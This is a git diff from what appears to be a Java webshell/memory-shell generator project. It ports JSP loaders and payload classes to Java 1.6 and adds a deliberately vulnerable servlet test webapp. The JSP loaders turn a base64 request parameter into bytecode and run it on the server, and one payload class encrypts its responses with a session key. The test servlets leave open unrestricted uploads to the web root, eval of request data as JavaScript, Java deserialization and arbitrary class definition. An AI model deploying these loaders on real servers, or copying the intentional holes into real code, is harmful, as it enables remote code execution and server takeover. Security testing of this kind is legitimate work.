java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE});
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecode, new Integer(0), new Integer(bytecode.length)});
|
||||
clazz.newInstance();
|
||||
%>
|
||||
%>
|
||||
|
||||
@@ -20,17 +20,17 @@
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = Class.forName("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
|
||||
}
|
||||
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE});
|
||||
defMethod.setAccessible(true);
|
||||
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecode, new Integer(0), new Integer(bytecode.length)});
|
||||
if (getAndSetObjectM != null) {
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||
}
|
||||
clazz.newInstance();
|
||||
%>
|
||||
%>
|
||||
|
||||
@@ -34,6 +34,7 @@ include("boot")
|
||||
include("generator")
|
||||
include("integration-test")
|
||||
include("vul:vul-webapp")
|
||||
include("vul:vul-webapp-servlet2")
|
||||
include("vul:vul-webapp-jakarta")
|
||||
include("vul:vul-webapp-expression")
|
||||
include("vul:vul-webapp-deserialize")
|
||||
|
||||
@@ -26,8 +26,8 @@ public class Info {
|
||||
|
||||
try {
|
||||
this.response.setContentType("text/html");
|
||||
this.request.setCharacterEncoding(this.cs);
|
||||
this.response.setCharacterEncoding(this.cs);
|
||||
this.setCharacterEncoding(this.request, this.cs);
|
||||
this.setCharacterEncoding(this.response, this.cs);
|
||||
this.decoderClassdata = this.decode(this.request.getParameter(var5));
|
||||
var2.append(this.SysInfoCode());
|
||||
} catch (Exception var8) {
|
||||
@@ -127,6 +127,14 @@ public class Info {
|
||||
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
|
||||
}
|
||||
|
||||
void setCharacterEncoding(Object var1, String var2) {
|
||||
try {
|
||||
Method var3 = var1.getClass().getMethod("setCharacterEncoding", new Class[]{String.class});
|
||||
var3.invoke(var1, new Object[]{var2});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Base64DecodeToByte(String var1) {
|
||||
Object var2 = null;
|
||||
String var3 = System.getProperty("java.version");
|
||||
@@ -147,4 +155,4 @@ public class Info {
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -41,11 +41,11 @@ public class Test {
|
||||
getOutputStreamMethod.setAccessible(true);
|
||||
so = getOutputStreamMethod.invoke(this.Response);
|
||||
}
|
||||
Method write = so.getClass().getMethod("write", byte[].class);
|
||||
Method write = getMethod(so, "write", new Class[]{byte[].class});
|
||||
String jsonStr = this.buildJson(result, true);
|
||||
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
||||
so.getClass().getMethod("flush").invoke(so);
|
||||
so.getClass().getMethod("close").invoke(so);
|
||||
getMethod(so, "flush", new Class[0]).invoke(so);
|
||||
getMethod(so, "close", new Class[0]).invoke(so);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
@@ -53,6 +53,23 @@ public class Test {
|
||||
return true;
|
||||
}
|
||||
|
||||
private Method getMethod(Object obj, String methodName, Class[] parameterTypes) throws Exception {
|
||||
Method method = null;
|
||||
Class clazz = obj.getClass();
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
method = clazz.getDeclaredMethod(methodName, parameterTypes);
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
method = obj.getClass().getMethod(methodName, parameterTypes);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method;
|
||||
}
|
||||
|
||||
private byte[] Encrypt(byte[] bs) throws Exception {
|
||||
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
|
||||
byte[] raw = key.getBytes("utf-8");
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
plugins {
|
||||
id("war")
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||
targetCompatibility = JavaVersion.VERSION_1_6
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("commons-fileupload:commons-fileupload:1.3.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||
implementation("javax.websocket:javax.websocket-api:1.1")
|
||||
providedCompile("javax.servlet:servlet-api:2.5")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class Base64ClassLoaderServlet extends ClassLoader implements Servlet {
|
||||
|
||||
@Override
|
||||
public void init(ServletConfig config) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletConfig getServletConfig() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
byte[] bytes = decodeBase64(data);
|
||||
Object obj = defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
res.getWriter().print(obj);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
try {
|
||||
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception var4) {
|
||||
Class<?> decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getServletInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author Wans
|
||||
* @since 2025/08/25
|
||||
*/
|
||||
public class BigIntegerClassLoaderServlet extends ClassLoader implements Servlet {
|
||||
|
||||
public BigIntegerClassLoaderServlet() {
|
||||
}
|
||||
|
||||
protected BigIntegerClassLoaderServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(ServletConfig config) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletConfig getServletConfig() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
byte[] bytes = decodeBigInteger(data);
|
||||
new BigIntegerClassLoaderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
|
||||
Class<?> decoderClass = Class.forName("java.math.BigInteger");
|
||||
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getServletInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
public class EmptyFilter implements Filter {
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
|
||||
public class EmptyListener implements ServletRequestListener {
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
ServletRequest servletRequest = servletRequestEvent.getServletRequest();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
ServletRequest servletRequest = servletRequestEvent.getServletRequest();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.IOException;
|
||||
|
||||
public class EmptyWebSocketEndpoint extends Endpoint implements MessageHandler.Whole<String> {
|
||||
private Session session;
|
||||
|
||||
@Override
|
||||
public void onOpen(Session session, EndpointConfig endpointConfig) {
|
||||
this.session = session;
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onMessage(String message) {
|
||||
try {
|
||||
session.getBasicRemote().sendText("Echo: " + message);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JavaReadObjServlet extends HttpServlet {
|
||||
byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
try {
|
||||
String data = req.getParameter("data");
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data));
|
||||
ObjectInputStream bis = new ObjectInputStream(inputStream);
|
||||
bis.readObject();
|
||||
bis.close();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class ScriptEngineServlet extends HttpServlet {
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
Object eval = new ScriptEngineManager().getEngineByName("js").eval(data);
|
||||
resp.getWriter().println(eval.toString());
|
||||
} catch (ScriptException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/11
|
||||
*/
|
||||
public class ServletNameTestFilter implements Filter {
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
chain.doFilter(request, response);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/31
|
||||
*/
|
||||
public class TestInputStreamServlet extends HttpServlet {
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
String one = req.getParameter("one");
|
||||
req.setCharacterEncoding("UTF-8");
|
||||
String body = null;
|
||||
InputStream inputStream = req.getInputStream();
|
||||
StringBuilder bodyBuilder = new StringBuilder();
|
||||
if (one != null) {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
int b;
|
||||
while ((b = inputStream.read()) != -1) {
|
||||
outputStream.write(b);
|
||||
}
|
||||
bodyBuilder.append(outputStream.toString("UTF-8"));
|
||||
outputStream.close();
|
||||
} else {
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = inputStream.read(buffer)) != -1) {
|
||||
bodyBuilder.append(new String(buffer, 0, bytesRead, "UTF-8"));
|
||||
}
|
||||
}
|
||||
body = bodyBuilder.toString();
|
||||
resp.setContentType("text/html; charset=UTF-8");
|
||||
resp.setCharacterEncoding("UTF-8");
|
||||
resp.getWriter().println(body);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/31
|
||||
*/
|
||||
public class TestReaderServlet extends HttpServlet {
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
String one = req.getParameter("one");
|
||||
String body = null;
|
||||
BufferedReader reader = req.getReader();
|
||||
StringBuilder bodyBuilder = new StringBuilder();
|
||||
if (one != null) {
|
||||
int c;
|
||||
while ((c = reader.read()) != -1) {
|
||||
bodyBuilder.append((char) c);
|
||||
}
|
||||
} else {
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
bodyBuilder.append(line);
|
||||
}
|
||||
}
|
||||
body = bodyBuilder.toString();
|
||||
resp.setContentType("text/html; charset=UTF-8");
|
||||
resp.setCharacterEncoding("UTF-8");
|
||||
resp.getWriter().println(body);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public class TestServlet extends HttpServlet {
|
||||
|
||||
@Override
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
req.getMethod();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
req.getMethod();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
import org.apache.commons.fileupload.FileItem;
|
||||
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
|
||||
import org.apache.commons.fileupload.servlet.ServletFileUpload;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class UploadServlet extends HttpServlet {
|
||||
|
||||
private static final String TEMP_DIRECTORY = "/tmp";
|
||||
private static final String UPLOAD_DIRECTORY = "/";
|
||||
private static final int MAX_FILE_SIZE = 1024 * 1024 * 10;
|
||||
private static final int MAX_REQUEST_SIZE = 1024 * 1024 * 50;
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
if (ServletFileUpload.isMultipartContent(request)) {
|
||||
DiskFileItemFactory factory = new DiskFileItemFactory();
|
||||
factory.setSizeThreshold(1024 * 1024);
|
||||
factory.setRepository(new File(TEMP_DIRECTORY));
|
||||
ServletFileUpload upload = new ServletFileUpload(factory);
|
||||
upload.setFileSizeMax(MAX_FILE_SIZE);
|
||||
upload.setSizeMax(MAX_REQUEST_SIZE);
|
||||
try {
|
||||
List<FileItem> items = upload.parseRequest(request);
|
||||
for (FileItem item : items) {
|
||||
if (!item.isFormField()) {
|
||||
String fileName = new File(item.getName()).getName();
|
||||
String uploadFolder = getServletContext().getRealPath(UPLOAD_DIRECTORY);
|
||||
if (uploadFolder == null) {
|
||||
// weblogic
|
||||
uploadFolder = ((File) getServletContext().getAttribute("javax.servlet.context.tempdir")).getParent() + File.separator + "war";
|
||||
}
|
||||
if (!uploadFolder.endsWith(File.separator)) {
|
||||
uploadFolder += File.separator;
|
||||
}
|
||||
String uploadPath = uploadFolder + fileName;
|
||||
File uploadFile = new File(uploadPath);
|
||||
item.write(uploadFile);
|
||||
response.getWriter().println("file upload success: " + uploadPath);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
response.getWriter().println("file upload failed: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/3
|
||||
*/
|
||||
public class UrlMappingTestFilter implements Filter {
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
chain.doFilter(request, response);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.server.ServerApplicationConfig;
|
||||
import javax.websocket.server.ServerEndpointConfig;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
|
||||
public class WebSocketConfig implements ServerApplicationConfig {
|
||||
@Override
|
||||
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> scannedEndpointClasses) {
|
||||
Set<ServerEndpointConfig> result = new HashSet<ServerEndpointConfig>();
|
||||
ServerEndpointConfig config = ServerEndpointConfig.Builder
|
||||
.create(EmptyWebSocketEndpoint.class, "/empty-ws")
|
||||
.build();
|
||||
|
||||
result.add(config);
|
||||
System.out.println("websocket init success");
|
||||
return result;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {
|
||||
return scanned;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE web-app PUBLIC
|
||||
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
|
||||
"http://java.sun.com/dtd/web-app_2_3.dtd">
|
||||
<web-app>
|
||||
|
||||
<filter>
|
||||
<filter-name>urlMappingTestFilter</filter-name>
|
||||
<filter-class>UrlMappingTestFilter</filter-class>
|
||||
</filter>
|
||||
<filter>
|
||||
<filter-name>servletNameTestFilter</filter-name>
|
||||
<filter-class>ServletNameTestFilter</filter-class>
|
||||
</filter>
|
||||
<filter>
|
||||
<filter-name>emptyFilter</filter-name>
|
||||
<filter-class>EmptyFilter</filter-class>
|
||||
</filter>
|
||||
|
||||
<filter-mapping>
|
||||
<filter-name>urlMappingTestFilter</filter-name>
|
||||
<url-pattern>/b64</url-pattern>
|
||||
</filter-mapping>
|
||||
<filter-mapping>
|
||||
<filter-name>urlMappingTestFilter</filter-name>
|
||||
<url-pattern>/test</url-pattern>
|
||||
</filter-mapping>
|
||||
<filter-mapping>
|
||||
<filter-name>servletNameTestFilter</filter-name>
|
||||
<servlet-name>b64</servlet-name>
|
||||
</filter-mapping>
|
||||
<filter-mapping>
|
||||
<filter-name>servletNameTestFilter</filter-name>
|
||||
<servlet-name>biginteger</servlet-name>
|
||||
</filter-mapping>
|
||||
<filter-mapping>
|
||||
<filter-name>emptyFilter</filter-name>
|
||||
<url-pattern>/*</url-pattern>
|
||||
</filter-mapping>
|
||||
|
||||
<servlet>
|
||||
<servlet-name>test</servlet-name>
|
||||
<servlet-class>TestServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet>
|
||||
<servlet-name>upload</servlet-name>
|
||||
<servlet-class>UploadServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet>
|
||||
<servlet-name>js</servlet-name>
|
||||
<servlet-class>ScriptEngineServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet>
|
||||
<servlet-name>java-deserialize</servlet-name>
|
||||
<servlet-class>JavaReadObjServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet>
|
||||
<servlet-name>b64</servlet-name>
|
||||
<servlet-class>Base64ClassLoaderServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet>
|
||||
<servlet-name>biginteger</servlet-name>
|
||||
<servlet-class>BigIntegerClassLoaderServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet>
|
||||
<servlet-name>reader</servlet-name>
|
||||
<servlet-class>TestReaderServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet>
|
||||
<servlet-name>inputStream</servlet-name>
|
||||
<servlet-class>TestInputStreamServlet</servlet-class>
|
||||
</servlet>
|
||||
|
||||
<servlet-mapping>
|
||||
<servlet-name>test</servlet-name>
|
||||
<url-pattern>/test</url-pattern>
|
||||
</servlet-mapping>
|
||||
<servlet-mapping>
|
||||
<servlet-name>upload</servlet-name>
|
||||
<url-pattern>/upload</url-pattern>
|
||||
</servlet-mapping>
|
||||
<servlet-mapping>
|
||||
<servlet-name>js</servlet-name>
|
||||
<url-pattern>/js</url-pattern>
|
||||
</servlet-mapping>
|
||||
<servlet-mapping>
|
||||
<servlet-name>java-deserialize</servlet-name>
|
||||
<url-pattern>/java_deserialize</url-pattern>
|
||||
</servlet-mapping>
|
||||
<servlet-mapping>
|
||||
<servlet-name>b64</servlet-name>
|
||||
<url-pattern>/b64</url-pattern>
|
||||
</servlet-mapping>
|
||||
<servlet-mapping>
|
||||
<servlet-name>biginteger</servlet-name>
|
||||
<url-pattern>/biginteger</url-pattern>
|
||||
</servlet-mapping>
|
||||
<servlet-mapping>
|
||||
<servlet-name>reader</servlet-name>
|
||||
<url-pattern>/reader</url-pattern>
|
||||
</servlet-mapping>
|
||||
<servlet-mapping>
|
||||
<servlet-name>inputStream</servlet-name>
|
||||
<url-pattern>/inputStream</url-pattern>
|
||||
</servlet-mapping>
|
||||
|
||||
<welcome-file-list>
|
||||
<welcome-file>index.html</welcome-file>
|
||||
</welcome-file-list>
|
||||
</web-app>
|
||||
@@ -0,0 +1 @@
|
||||
<h1>hello</h1>
|
||||
Reference in New Issue
Block a user